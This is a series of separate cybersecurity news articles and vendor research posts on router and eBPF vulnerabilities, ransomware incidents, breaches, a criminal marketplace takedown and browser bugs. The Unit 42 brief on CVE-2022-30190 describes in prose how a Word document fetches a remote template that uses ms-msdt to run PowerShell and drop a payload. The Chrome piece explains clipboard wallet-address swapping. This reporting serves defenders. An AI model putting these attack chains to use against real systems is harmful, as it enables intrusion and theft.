In 2020 the U.S Small Business Administration reported that there are 6 million small businesses with fewer than 500 employees in contrast to around 20K large businesses.
Small business made up for over 10 million new jobs in the last decade compared to around 5 million for large businesses.
While we may forget about this massive attack surface, our adversaries have not.
According to RiskRecon, during 2020 and 2021, data breaches at small businesses globally jumped 152%, while during the same time period breaches at larger organizations rose 75%.
Just like a contractor wouldn’t use the same tools, techniques, and tactics to dig a post hole as they would for a swimming pool – malicious actors adjust what they target to ensure they effectively compromise the vast landscape of small business.
Recently CISA released an advisory about People’s Republic of China (PRC) state-sponsored exploitation of network devices typically used in Small Office and Home Office (SOHO) settings.
Included in this list is CVE-2020-8515, related to a DrayTek small business router.
At Trellix, our vulnerability research team is constantly working to anticipate high value targets for well-known threat actors going after the enterprise sector.
Today, we released brand new research disclosing a new zero-day vulnerability, CVE-2022-32548, which is a pre-authentication attack that allows for complete control of the Vigor 3910, DrayTek’s latest small business router.
Why does yet another vulnerability in a SOHO router matter?
Because in 2019, 360Netlab Threat Detection System observed two different attack groups using two zero-day vulnerabilities targeting various DrayTek Vigor enterprise router.
Because in March of 2022, Barracuda reported small businesses are three times more likely to be targeted by cybercriminals than larger companies.
Because just last month the ZuoRAT malware was observed infecting numerous SOHO router manufacturers, including ASUS, Cisco, DrayTek and NETGEAR.
In short, it matters because major threat actors like the PRC are dictating it matters.
Edge devices themselves, such as routers and firewalls are rather uninteresting, however these devices are the gateway that protect the soft underbellies of companies.
Once compromised, it's the open doorway into the rest of a network that is enticing for the adversary to perform the same level of research our team performs.
A compromised edge device can lead to intellectual property theft, sensitive customer or employee data loss, access to camera feeds, the opportunity to simplify the deployment of ransomware and in some cases a foothold into a network for years to come.
When talking specifically about small business, Chad Paalman, the CEO of NuWave Technology Partners indicated, “They [small business leaders] assume that if they have a firewall, then they have a padlock on the door and no one can get in.
They also assume that if their security has been outsourced to a managed service provider (MSP), log monitoring is happening, or the service includes intrusion detection.”
This misinformation or mindset is dangerous to small businesses.
It is imperative to understand you are a target no matter the size or type of business.
Data continues to demonstrate that not only is this space a target but often a more likely target.
It is critical for SOHO and SMB users to understand their networks, stay update to date on all vendor patches and immediately report breeches to law enforcement.
Additionally, the support of 3rd party security auditing like the release of our DrayTek research today further strengthens the entire industry.
We would like to complement DrayTek’s response and support of our research, clearly demonstrating their security first mindset and desire to help protect the SOHO market.
This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.
Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy | Trellix.
Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability.
Damart clothing store hit by Hive ransomware, $2 million demanded
Damart, a French clothing company with over 130 stores across the world, is being extorted for $2 million after a cyberattack from the Hive ransomware gang.
Some of the company's systems have been encrypted and operations have been disrupted since August 15.
A report from Valéry Marchive, who was able to retrieve a leaked ransom note and published details on LeMagIT, notes that the hackers are not willing to negotiate and expect parent company Damartex to pay the full ransom.
The threat actors haven't posted the victim on their extortion site, opting to keep negotiations private.
Marchive shared additional information with BleepingComputer, which helped us confirm the attack and extortion.
Damart has not engaged in negotiations with the cybercriminals yet but informed the national police of the incident, which makes it unlikely that Hive would receive a payment.
Timeline of the attack
The first signs of trouble appeared on August 15, when Damart published a message about an unscheduled maintenance on the homepage of its online store.
At that time, following a request for comment from BleepingComputer, Damart stated the following:
"Damart, the mail order clothing brand, based in Bingley, West Yorkshire, has confirmed that there was an attempt to intrude into their IT systems, which they were rapidly able to intercept with strong security protocols.
"As a precaution, they have temporarily restricted some services available to customers, which is why the website is currently offline.
Data and system security is a top priority for the business and reassuringly there is no evidence to-date that any customer data has been impacted in any way."
On August 24, it was reported that Damart's sales network wasn't operating normally and the disruption had impacted 92 of its stores.
As a result, the number of accepted orders decreased and customer support was unavailable.
The company clarified that the hackers had successfully reached the Active Directory and launched a rushed attack that resulted in encrypting some of the systems.
According to Damart, the reason for degraded services was due to the company's proactive actions by shutting down systems to protect them from being encrypted.
At this time, it is unknown if Hive managed to steal any data during the network intrusion.
However, the gang has adopted the double-extortion tactic and exfiltrates data before the encryption stage.
This enables the cybercriminals to put more pressure on the victim to pay a ransom by threatening with a data leak.
Hive ransomware has not listed Damart on their data leak site and the company has repeatedly denied that the hackers stole any data.
Windows 11 Settings now lets you manage Xbox subscriptions
Microsoft says the latest Windows 11 preview build has improved the Accounts Settings page to provide Xbox subscription management capabilities.
The new 'Your Microsoft account' settings page within Windows 11's Settings was rolled out by the Windows Insider team starting in October 2021.
The end goal behind this effort is to provide users with all the info they need on their Microsoft accounts (including but not limited to Microsoft 365 subscriptions) from within the OS, thus eliminating the need to sign in on the web.
"With this build, we are introducing a new Xbox subscription management experience within Windows 11 Settings app," Microsoft's Amanda Langowski and Brandon LeBlanc said today.
"If you are a member of Xbox Game Pass Ultimate, PC Game Pass, Xbox Game Pass for Console or Xbox Live Gold, you will now be able to see your subscription details via Settings > Accounts."
Windows 11 users can check the payment method, billing recurrence, and any games and benefits linked to their Xbox subscription.
"In addition, you will also be able to manage and upgrade your subscription, redeem gift card tokens and be up to date on any actions required to continue your subscriptions without any disruptions," Langowski and LeBlanc added.
You can now access this info (previously only available in your console's guide menu or via the Services & subscriptions page on the Microsoft account management page) in Windows by going into Settings > Accounts.
This new feature is rolling out to Windows Insiders in the Dev Channel, who have installed Windows 11 Insider Preview Build 25193.
Microsoft added information about Office subscriptions linked to the user's Microsoft 365 account to the Windows 11 account settings page in May for Windows Insiders in the Dev Channel.
In today's Windows 11 dev build, Microsoft also introduced support for new Braille displays and new Braille input and output languages in Windows Narrator.
New braille displays supported starting with this release include the APH Chameleon, the APH Mantis Q40, the NLS eReader, and many others.
LastPass developer systems hacked to steal source code
Password management firm LastPass was hacked two weeks ago, enabling threat actors to steal the company's source code and proprietary technical information.
The disclosure comes after BleepingComputer learned of the breach from insiders last week and reached out to the company on August 21st without receiving a response to our questions.
Sources told BleepingComputer that employees were scrambling to contain the attack after LastPass was breached.
After sending questions about the attack, LastPass released a security advisory today confirming that it was breached through a compromised developer account that hackers used to access the company's developer environment.
While LastPass says there is no evidence that customer data or encrypted password vaults were compromised, the threat actors did steal portions of their source code and "proprietary LastPass technical information."
"In response to the incident, we have deployed containment and mitigation measures, and engaged a leading cybersecurity and forensics firm," explains the LastPass advisory.
"While our investigation is ongoing, we have achieved a state of containment, implemented additional enhanced security measures, and see no further evidence of unauthorized activity."
LastPass has not provided further details regarding the attack, how the threat actors compromised the developer account, and what source code was stolen.
The full security advisory emailed to LastPass customers can be read below.
LastPass is one of the largest password management companies in the world, claiming to be used by over 33 million people and 100,000 businesses.
As consumers and businesses use the company's software to store their passwords securely, there are always concerns that if the company was hacked it could allow threat actors access to stored passwords.
However, LastPass stores passwords in 'encrypted vaults' that can only be decrypted using a customer's master password, which LastPass says was not compromised in this cyberattack.
Last year, LastPass suffered a credential stuffing attack that allowed threat actors to confirm a user's master password.
It was also revealed that LastPass master passwords were stolen by threat actors distributing the RedLine password-stealing malware.
Due to this, it is vital to enable multi-factor authentication on your LastPass accounts so that threat actors won't be able to access your account even if your password is compromised.
BleepingComputer has once again reached out with further questions about the attack.
This is a developing story.
Montenegro hit by ransomware attack, hackers demand $10 million
The government of Montenegro has provided more information about the attack on its critical infrastructure saying that ransomware is responsible for the damage and disruptions.
Public Administration Minister Maras Dukaj stated on local television yesterday that behind the attack is an organized cybercrime group.
The effects of the incindet continue for the tenth day.
The minister added that a "special virus" is used in this attack and there is a ransom demand of $10 million.
Dukaj also added that at this point, the state could not give an estimate of when the services will become available.
False allegations and Cuba
Previously, Dukaj himself, along with Montenegro's Defense Minister, told local media that they had enough evidence to suspect the cyberattacks were directed by Russian services.
This gave the incident a geopolitical hue and mobilized the Balkan country's NATO allies to help them with incident response, defense, and remediation.
The next day, though, Cuba ransomware gang listed the Parliament of Montenegro (Skupstina) as its victim and claimed to have stolen financial documents, correspondence with banks, balance sheets, tax documents, compensation, and even source code.
The data was published on the "free" section of the site, available to any visitor with no restrictions.
Cuba ransomware evolution
Cuba ransomware has demonstrated notable evolution lately.
Three weeks ago, researchers spotted a novel toolset used by the gang along with previously unseen tactics, techniques, and procedures.
In June, Cuba ransomware updated its encryptor with additional options and set up a communication channel for "live victim support."
Another notable change is observed in the group's targeting scope.
In 2021, Cuba focused heavily on U.S.-based organizations.
BlackCat ransomware claims attack on Italian energy agency
The BlackCat/ALPHV ransomware gang claimed responsibility for an attack that hit the systems of Italy's energy agency Gestore dei Servizi Energetici SpA (GSE) over the weekend.
GSE is a publicly-owned company that promotes and supports renewable energy sources (RES) across Italy.
A GSE spokesperson disclosed that its website and systems were taken down to block the attackers from gaining access to the data after detecting the attack on Sunday night—GSE's website is still down, almost a week after the incident.
Cybersecurity authorities and police in Italy are still investigating the attack and looking into what data was compromised during the incident, GSE told Bloomberg.
Before GSE's disclosure, the BlackCat ransomware group added a new entry to its dark web data leak site claiming to have stolen roughly 700GB of files from the Italian energy agency's servers.
The attackers say that the stolen files contain confidential data, including contracts, reports, project information, accounting documents, and other internal documentation.
This attack follows another incident involving Eni SpA, the largest energy company in Italy, with more than 31,000 employees that operates in national and international markets.
Eni SpA also revealed that it was recently hacked as part of a cyberattack the firm said had minor consequences on its operations.
Earlier this year, BlackCat also said it was behind ransomware attacks against Creos Luxembourg S.A., a natural gas pipeline and electricity network operator from central Europe, and the German petrol supply firm Oiltanking.
GSE's site still down
A Darkside/Blackmatter rebrand
The BlackCat/ALPHV ransomware operation was launched in November 2021 and is believed to be a rebrand of the DarkSide/BlackMatter gang.
The ransomware gang first gained notoriety as DarkSide after attacking the Colonial Pipeline and landing in the crosshairs of international law enforcement.
Although they rebranded as BlackMatter in July 2021, they were quickly forced to shut down again in November, after the gang's servers were seized and Emsisoft found and exploited a weakness in the ransomware to create a decryptor.
This group is considered one of the most significant ransomware threats currently targeting enterprises worldwide.
So far, it has been linked to attacks against companies such as the Swissport airline cargo handling services provider and the Moncler fashion group.
More recently, BlackCat has also been evolving its extortion tactics, launching a new searchable database of stolen data that made the group's double-extortion attacks even more damaging for victims.
In April, the FBI warned that BlackCat has "extensive networks and experience with ransomware operations" as they had breached more than 60 entities worldwide between November 2021 and March 2022.
US seizes WT1SHOP market selling credit cards, credentials, and IDs
An international law enforcement operation has seized the website and domains for WT1SHOP, a criminal marketplace that sold stolen credit cards, I.D.
cards, and millions of login credentials.
WT1SHOP was one of the largest criminal marketplaces of PII data commonly used by threat actors to buy credentials for account takeovers, credit cards used for online purchases, and government I.D.
cards for identity theft.
"The WT1shop was one of the turnkey account shop selling compromised accounts and personally identifiable information since the Slilpp takedown," AdvIntel CEO Vitali Kremez told BleepingComputer.
"It catered primarily to the carders and fraudsters focused on account takeover activity and offering its service on many underground crime communities."
The representatives of WT1SHOP commonly promoted the marketplace on Russian hacking forums and Reddits that catered to online criminal activity.
DoubleVPN recommended on a hacker forum
WT1SHOP promotion post on Russian hacking forum
Servers and domains seized by law enforcement
Today, the Department of Justice announced that Portuguese authorities seized the WT1SHOP website, and the U.S. seized four Internet domains used to access the criminal marketplace, including wt1shop.net, wt1store.cc, wt1store.com, and wt1store.net.
Other domains used by the website are wt1store.biz, wt1store.me, wt1store.xyz, and wt1store.org, which do not appear to be seized now.
However, as the website is seized, visiting any of these domains no longer allows access to the store.
The operation was conducted by the U.S. Attorney's Office of the District of Maryland and the FBI, who said the site sold the personal information of millions of users, including stolen login credentials, bank accounts, credit cards, and scanned government identification, such as passports and driver's licenses.
"Law enforcement's review of WT1SHOP in December 2021 showed that the number of users and sellers on the website had increased to approximately 106,273 users and 94 sellers with a total of approximately 5.85 million credentials available for sale," reads the DOJ announcement.
The Dutch police estimated in June 2020 that the site had $4 million in sales paid in bitcoin.
The DOJ announcement says law enforcement traced the bitcoin payments, email addresses, and admin accounts for WT1SHOP back to Nicolai Colesnicov, age 36, of the Republic of Moldova.
Colesnicov is suspected to be the administrator and operator of the criminal marketplace.
Colesnicov is charged with conspiracy and trafficking in unauthorized access devices and faces a maximum sentence of 10 years in federal prison if found guilty.
Google Chrome bug lets sites write to clipboard without asking
Chrome version 104 accidentally introduced a bug that removes the user requirement to approve clipboard writing events from websites they visit.
This functionality isn't limited to Google Chrome.
Safari and Firefox also allow web pages to write to the system clipboard, yet they have gesture-based protections in place.
Chrome developers have identified the problem but a fix has yet to come, so it persists in current versions of the Google Chrome browser for mobile and desktop.
What's the big deal?
The system clipboard is a temporary storage location on operating systems.
It's typically used for copy-pasting and it can involve sensitive information such as banking account numbers, cryptocurrency wallet strings, or passwords.
Overwriting this temporary storage space with arbitrary content puts users at risk as they could become victims of malicious activity.
Threat actors could lure users to specially crafted websites impersonating a legitimate cryptocurrency service.
When the user tries to make a payment and copies the wallet address to the clipboard, the website can write to the clipboard the threat actor's address.
On some websites, when the user selects text to copy from a web page, additional content is appended to the clipboard (typically the page URL).
In this case, though, the clipboard fills up with arbitrary content without any visible indication or user interaction.
What protects me from this?
Developer Jeff Johnson highlights in a blog post that explores the topic, all web browsers that support clipboard writing have poor and inadequate safeguards.
User gestures that give a web page permission to use the clipboard API include the keyboard shortcut for copying content (Ctrl+C), but in many cases, merely any interaction with the website is enough.
Johnson tested on Safari and Firefox and found that pressing the down arrow key or using his mouse scroll wheel to navigate on a site gave clipboard writing permission to the loaded web page.
Considering how common these actions are, this permission is sufficiently risky to deserve a fix.
"While you're navigating a web page, the page can, without your knowledge, erase the current contents of your system clipboard, which may have been valuable to you, and replace them with anything the page wants, which could be dangerous to you the next time you paste.
Why did web browser vendors ever allow this?"
- Jeff Johnson
Thankfully, Johnson's tests confirmed that websites could not abuse this permission to read clipboard contents, which would be detrimental to user privacy.
Am I impacted?
To determine if this issue impacts your web browser, you can visit "webplatform.news" and then "paste" your clipboard contents into a text app, like Windows Notepad.
If you see the following message, your browser is vulnerable to permission abuse.
Not all Chromium-based browsers are impacted by this issue, though.
In tests from BleepingComputer, Brave didn't give the testing site permission to overwrite the clipboard.
However, Johnson's embedded test box that fills the visitor's clipboard with website navigation actions worked on all browsers, so the cause of the discrepancy is unclear.
Johnson says that users overly worried about this problem can use his 'StopTheMadness' extension but warns they will still not be 100% protected from arbitrary clipboard overwrites in all circumstances.
Microsoft Edge 105 won't start due to old group policy - How to fix
The new Microsoft Edge 105 is not starting for many Windows users due to a deprecated group policy used to disable reporting of usage and crash-related data to Microsoft.
On Thursday, Microsoft Edge 105 was released with numerous enhancements, including enhanced security mode improvements and new group policies.
However, after upgrading to the new version, Windows users began reporting on BleepingComputer, Reddit [1, 2], and the Microsoft Answers forum that Microsoft Edge would no longer start.
This issue was also confirmed by readers of BornCity and Deskmodder, with the latter discovering that the problem was caused by a deprecated MetricsReportingEnabled policy in the Windows registry.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Edge]
"MetricsReportingEnabled"=dword:00000000
This policy allows Microsoft Edge users to enable or disable the reporting of usage or crash-related data to Microsoft.
However, when this policy exists, whether it is set to '0' or '1', Microsoft Edge 105 will start, immediately suspend, and then shut down without showing the browser window, as shown below.
Microsoft Edge 105 starting and immediately terminating
Microsoft Edge 105 starting and immediately terminating
Source: BleepingComputer
Microsoft Edge General Manager Sean Lyndersay confirmed that the deprecated policy causes the bug and that it would be fixed in the next Stable version of the browser.
If you find that Microsoft Edge will no longer start, you can delete the MetricsReportingEnabled value from the HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Edge or the HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge registry keys.
AskWoody's Susan Bradley told BleepingComputer that many of the people affected by this issue used the "I don't want telemetry" setting in an older version of the O&O ShutUp tool, which appears to have created this Registry value.
Another privacy tool found by BleepingComputer to create this value is PrivateZilla.
Until the next version of Microsoft Edge is released, users can remove the MetricsReportingEnabled to use the app without it affecting anything, as the policy has been deprecated since Microsoft Edge 89.
The Race to Secure eBPF for Windows
By Douglas McKee · August 11, 2022
Innovation often improves functionality and even security; however, adoption starts slow.
Adoption often doesn’t increase at a linear rate but at an exponential rate leaving behind attack surfaces that never get a chance to be fully explored.
When adoption rates scale quickly, the timer starts for a race between security researchers and threat actors to investigate these ripe attack surfaces to find the next big zero-day.
At Trellix, we work hard to get ahead and win this race.
We constantly ask ourselves what technology, features, library, etc.
is about to take the industry by storm?
In a year, 5 years or even 10 years, what will be the focus for threat actors to find and exploit?
As a result, today our Senior Principal Security Researcher, Richard Johnson will present in-depth research into eBPF for Windows at Black Hat.
This presentation will demonstrate setup, auditing, fuzzing and discovered vulnerabilities in an up-and-coming attack surface.
Didn’t realize eBPF was on Windows?
It’s not yet by default, but it’s coming and that is exactly the reason this research is so important.
What is eBPF?
Extended Berkeley Packet Filter or eBPF was introduced into the Linux kernel back in December of 2014 as an upgrade to its predecessor BPF (Berkeley Packet Filter).
eBPF is a virtual CPU architecture and virtual machine that allows special applications referred to as “eBPF programs” to execute in a trusted sandboxed environment within the kernel without the need to modify kernel source code.
This is a drastic improvement from the classic requirements of needing to either modify kernel source or load an entire kernel module into memory.
With eBPF, additional operating system level capabilities can be integrated at runtime not only efficiently but with higher performance than older methods.
Why is it useful?
At a most basic level, decisions and actions require data.
The more complete and more detailed the data that can be obtained, the better decisions or actions can be taken.
eBPF fundamentally provides a mechanism to collect more detailed information with less overhead than ever before.
In some cases, this manifests itself in the ability for eBPF programs to attach to trace points in both kernel and userland providing visibility into runtime environments previously extremely difficult to trace.
In other cases, custom telemetry can be gathered about process events, network connections, namespace changes and much more, allowing for more informed actions to be taken.
On Linux-based systems we have already seen this pay off in areas such as denial-of-service protection.
eBPF for windows
In May of 2021, Microsoft announced the creation of a new open-source project called ebpf-for-windows.
The goal of this project is to simply integrate the technology of eBPF on Windows 10 and Windows Server 2016 and later.
The concept is to bring the same visibility and performance that is currently provided for the Linux kernel to the Window kernel and expand upon it even further where possible.
This also sparked the creation of the eBPF Foundation with indications to make eBPF a fully cross platform technology.
During this time Microsoft completed the first port of a major eBPF Program to Windows, the Cilium Layer 4 Load Balancer.
As a security-first minded company, they also began to work on hardening the components and adding fuzz testing to the project.
With Microsoft committing and working towards a larger adoption of this technology it became apparent that this would be an inciting attack surface for threat actors to investigate.
As Guillaume Fournier showed during his Black Hat talk in 2021 with eBPF on Linux, with enough time and motivation it would be possible to write rootkits utilizing this technology.
The Windows version of eBPF is brand new and cannot use the existing Linux eBPF sandbox code.
Therefore, with an emphasis on exploring the components that were Windows focused or new to the eBPF ecosystem, our team sought out to challenge the notation that eBPF on Windows can “guarantee safety” of code execution in the kernel.
After all, if our adversary is going to challenge this assumption, shouldn’t we ask the question first?
Initial critical findings
During our enumeration and auditing of this framework our team discovered a heap-based buffer overflow vulnerability that successful exploitation would result in arbitrary code execution with Administrator privileges.
The eBPF for Windows project includes a user library called EbpfApi.
This library is responsible for loading eBPF programs from ELF Object Files and sending them to the eBPF service.
EbpfApi is used by the included BPFTool and the Netsh plugin to allows users with Administrator privileges to load programs into the running kernel.
As described above, eBPF is considered a trusted, sandboxed execution environment and these programs are expected to be verified and safe to run without allowing arbitrary code execution on the system.
This vulnerability breaks that security boundary and may allow execution of arbitrary code with Administrator privileges through heap memory corruption.
By our calculations, this vulnerability would warrant a CVSS 3.0 score of a 7.8.
We reported this issue to Microsoft who promptly released a fix to the open-source project and it is fixed in the current code release tree.
Just getting started
We often define vulnerability research success by the impact of the finding for the discovered vulnerability.
How many systems does it effect?
Is it unauthenticated remote code execution?
While this is one important metric to consider it should not be the only metric.
In this case there are likely very few machines running the bleeding edge code base of eBPF on Windows, and it is not inherently a remote issue.
However, the fundamental construct of an emerging technology that has the potential to be included on a large install base in the future has been broken.
More importantly the flaws have been fixed during the development stage before there is even a chance of exploitation by malicious actors.
As Trellix and other teams continue to research, find, and report vulnerabilities in eBPF for Windows, we will be creating a more secure environment for the future.
This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.
Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy.
Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability.
Threat Brief: CVE-2022-30190 – MSDT Code Execution Vulnerability
Executive Summary
On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URL protocol.
The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.
Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.
Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft.
The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.
Therefore, exploits for this vulnerability have potential to be of high impact.
We highly recommend following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.
All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.
Attack Details for CVE-2022-30190
On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.
The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.
On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident.
The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp://xmlformats[.
]com, allowing it to bypass EDR solutions.
The HTML code from the remote template is shown in Figure 1 below.
The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.
The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.
This code does a few things.
First it kills the msdt.exe process.
Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).
It then stores it in a file called 1.t.
1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.
None of the reports we’ve seen have recovered the final payload.
Therefore, the contents are unknown.
The use of remote templates to deliver malicious documents is not new, however, historically they’ve been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems’s Word macro policy.
Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.
This allows execution of code within the context of Microsoft Word, even if macros are disabled.
Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.
This allows the attack to succeed even if the user simply views the file in the preview pane – with no clicks on the document necessary – making the attack much more dangerous.
Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.
They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate.
They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled.
Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.
CVE-2022-30190 in the Wild
So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.
Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.
Conclusion
Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.
Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575).
WildFire and Cortex XDR categorize all known samples we’ve come across as malware.
Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.
The Cortex XSOAR “CVE-2022-30190 - MSDT RCE” playbook helps speed up the discovery and remediation of compromised hosts within the network.
The playbook can be found on the XSOAR marketplace.
Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.
Customers can leverage this service with best practice configuration for further protection.
Ransomware gang's Cobalt Strike servers DDoSed with anti-Russia messages
Someone is flooding Cobalt Strike servers operated by former members of the Conti ransomware gang with anti-Russian messages to disrupt their activity.
The operators of Conti ransomware completed turning off their internal infrastructure in May this year but its members have dispersed to other ransomware gangs, such as Quantum, Hive, and BlackCat.
However, former Conti members continue to use the same Cobalt Strike infrastructure to conduct new attacks under other ransomware operations.
Server flood
Someone is now tracking the TeamServers (C2) used by ransomware actors to control the Cobalt Strike (CS) Beacon payloads on compromised hosts (clients), which allow lateral movement on the network.
When flooding the CS servers, these people are using the username “Stop Putin!” on multiple computers and changing their computer name to various messages, such as “Stop the war!,” “15000+ dead Russian soldiers!,” and “Be a Russian patriot!”
ex-Conti Cobalt Strike TeamServer DDoSed with political messages
Anti-Russia notes disrupting ex-Conti Cobalt Strike servers
source: Vitali Kremez (AdvIntel)
Vitali Kremez, the CEO of cyber intelligence company Advanced Intelligence (AdvIntel), told BleepingComputer that whoever is running these attacks initially targeted at least four Cobalt Strike servers allegedly controlled by ex-Conti members.
The researcher says that the messages are flooding the servers at a high rate of about two every second.
As an effect of this large number of pings, TeamServer’s Java application is overloaded and activity is disrupted in a similar way a denial-of-service (DoS) condition would.
Running Cobalt Strike TeamServer from a Java application was possible in versions of the toolkit up to 4.6, released this year in April.
In more recent releases, the component runs from an executable image (TeamServerImage).
Kremez says whoever is behind this activity is constantly targeting Cobalt Strike servers believed to be operated by previous Conti ransomware members, resuming the flood whenever a new server is discovered.
Turning the tables on cybercriminals
It is unclear who is behind these messages (it could be anyone from a security researcher, to law enforcement agencies, to a cybercriminal with a grudge for siding with Russia) but it looks like they’re keeping the threat actor busy.
Disrupting ransomware gangs’ activity with denial-of-service has happened before, the LockBit operation being a recent target, allegedly for encrypting systems belonging to digital security company Entrust.
The attack was serious enough for LockBit to shut down its leak sites and start reorganizing its infrastructure.
In the meantime, none of the data the gang published was available.
The hackers blamed the DDoS on Entrust since the HTTPS requests came with the message to delete the company’s data.
However, the disruption was temporary and the ransomware actor came online with stronger infrastructure allowing them to keep the stolen data available even when facing distributed denial-of-service (DDoS) attacks.
DuckDuckGo opens its privacy-focused email service to everyone
DuckDuckGo has opened its 'Email Protection' service to anyone wishing to get their own ‘@duck.com' email address.
The free service was launched as a closed beta in July 2021, and while it's still in beta, the internet company felt confident that it was time to make it widely available to the public.
At the same time, DuckDuckGo introduces new features that enhance the email service's anti-tracking system, a direct reply function, and smart encryption for embedded links.
What is Email Protection
Email Protection is DuckDuckGo's dedicated email forwarding solution that strips emails from advertising and profiling trackers before they land in the user's regular inbox.
Upon receiving the emails, the users will also see a short report of how many trackers were removed, which companies were responsible for their injection, and more.
DuckDuckGo reports running the beta program for a year revealed that over 85% of all emails on the tester's communications contained trackers.
The service can be used without having to migrate to the Duck email address, although a unique ‘@duck.com’ address is still allocated to users.
Moreover, Email Protection can provide users with unlimited disposable private addresses to use on sites that constitute high spam risk and be deactivated if the spamming gets out of control.
Disposable addresses can also be used to minimize the consequences of data breaches and exposure.
Messages passing through the service aren’t stored by the vendor, while the little account and forwarding information kept for operational reasons is deleted within 30 days after the account’s closure.
New features as part of release
With the opening up of the beta to everyone, DuckDuckGo also introduced new features and improvements.
First, DuckDuckGo expanded the tracker blocking feature to include links, in addition to scripts, images, and other media.
For example, advertisers and phishing kits commonly use link trackers to track what URLs are clicked.
Secondly, a new 'Smart Encryption' system automatically points users who click on embedded links to the HTTPS version of the target site, even if the email author used HTTP.
The third addition is the ability to send or reply from Duck addresses, which could be helpful in cases where sender anonymity is called for.
Finally, DuckDuckGo has added a user-friendly dashboard for quickly configuring forwarding addresses, making on-the-fly changes, managing account settings, and more.
To sign-up for DuckDuckGo Email Protection, install the browser extension, activate it, and head to "duckduckgo.com/email" to register for a new account.
If you’re on mobile, you can install the latest version of the app for Android or iOS, launch it, navigate to Settings, and select Email Protection.
Growling Bears Make Thunderous Noise
By Trellix · June 6, 2022
Per public attribution, Russian cybercriminal groups have always been active.
Their tactics, techniques, and procedures (TTPs) have not significantly evolved over time, although some changes have been observed.
Lately, the threat landscape has changed, as multiple domains have partially merged.
This trend was already on-going, but the increased digital activity further accelerated and exposed said trend.
This paper will cover the cybercriminal evolutions over time, the impact of a (cyber)war, observed activity, and finally a call to action.
Cybercriminal evolutions over time
The changes over time can be split into multiple evolutions, where each evolution is based on the one prior.
This section provides insight into these evolutions, in chronological order.
As these events unfolded organically, it is important to note that there is no exact date when one transformed into another.
The goal here is to provide a further understanding of the historic events which occurred prior to the latest, and still ongoing, transformation.
Cybercrime
Whenever there is money to be made, there are people willing to risk it all.
Some aren’t shy to break the law to gather a fortune, although each criminal individual’s actions differ, the result is the same.
The digital world is certainly no exception, where one can argue that the anonymous nature of online interactions might be an accelerant.
Most offenders generally operate based on opportunity.
A server which hasn’t been patched for years makes for an easy target, especially with publicly available tooling to exploit the discovered vulnerabilities.
Organized cybercrime
The next step, as is also seen in traditional crime, is for individuals to organize themselves.
The more generalist nature of the original cybercriminals required defenders to uphold a certain level of security.
The bundling of forces allows individuals to branch out into a specific area of expertise.
As such, the previously set security standards become insufficient, thus requiring blue teams to raise the bar.
With the additional knowledge, groups can exploit vulnerabilities based on incomplete write-ups or partial proof-of-concepts.
Their targets are still opportunity based, allowing the actors to target a wider variety of potential victims.
The path of the least resistance is generally the most profitable here.
Nation state campaigns
Nation state campaigns are often set up with a different goal than (organized) cybercrime.
Usually, such actors conduct online espionage, potentially along with in-person espionage.
These groups are commonly characterized by their advanced methods, their persistent nature, and the threat they pose, commonly summarized as an Advanced Persistent Threat, abbreviated as APT.
Their goal is to complete the set objective(s), without solely relying on opportunity.
